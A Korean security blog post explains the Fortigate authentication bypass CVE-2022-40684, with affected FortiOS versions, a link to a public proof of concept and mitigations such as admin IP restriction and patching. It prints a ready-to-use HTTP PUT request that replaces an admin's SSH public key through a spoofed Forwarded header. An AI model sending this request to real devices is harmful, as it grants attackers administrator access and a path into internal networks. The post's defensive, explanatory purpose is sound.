Recent Posts
Recent Comments
Archives
starting point
Fortigate 인증 우회 취약점(CVE-2022-40684) 본문
정의
- Fortigate 제품에 SSH키 값을 변경하여 SSH키값을 통해 CLI 접근을 허용하는 취약점
SSH 키
- SSH 키를 생성하면 퍼블릭 키와 프라이빗 키가 생성된다. 퍼블릭 키를 원격 서버에 전달해두고 SSH 접근을 시도하면 따로 패스워드를 입력하지 않고 퍼블릭 키와 프라이빗 키를 매칭하여 SSH 접근이 가능하다
패킷 예시
PUT /api/v2/cmdb/system/admin/(Username) HTTP/1.1
Host:IP
User-Agent: Report Runner
content-Length: 31
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Accept-Encoding: gzip
Connection: close
{"ssh-public-key1": "fake-key"}
poc 코드
https://github.com/horizon3ai/CVE-2022-40684
취약 버전
- FortiOS 7.0.0, 7.0.1, 7.0.2, 7.0.3, 7.0.4, 7.0.5, 7.0.6, 7.2.0, 7.2.1
취약점 설명
패킷예시와 같이 PUT 메소드를 취약한 Fortigate 장비에 전송할 경우 해당 장비의 (Username)계정의 SSH 퍼블릭 키값이 “fake-key”로 갱신된다. 키값부분을 공격자의 PC에서 생성한 퍼블릭 키를 입력할 경우 공격자의 PC에서 Fortigate장비로 SSH접근이 가능해진다.
공격목적
- 네트워크 설정 변경을 통한 내부망 침투
관리자 계정으로 로그인되므로 장비 네트워크 설정 변경이 가능하며 내부망에서 방화벽에서의 접근이 허용되어 있다면 이를 활용해 내부 침투가 가능함.
대응방안
- 관리자 네트워크 등록
계정 별 접근할 IP를 등록하여 신뢰할 수 있는 IP에서만 접근이 가능하도록 설정이 필요하다.
- 펌웨어 버전 업그레이드
해당 취약점은 패치한 펌웨어 버전으로 업그레이드 진행한다. 하지만 관리자 네트워크를 등록하지 않을 경우, 외부에서 장비 관리자 계정 로그인 시도가 가능하므로 이를 막기 위해서 관리자 네트워크 등록이 권장된다.
참고자료
'네트워크 > 패킷 분석' 카테고리의 다른 글
| Shellshock 취약점 (2) | 2023.11.27 |
|---|---|
| RDP 터널링 공격(Bypassing Network Restrictions Through RDP Tunneling) (2) | 2023.11.22 |
| Open SSL 취약점(Heartbleed, CVE-2014-0160) (2) | 2023.11.18 |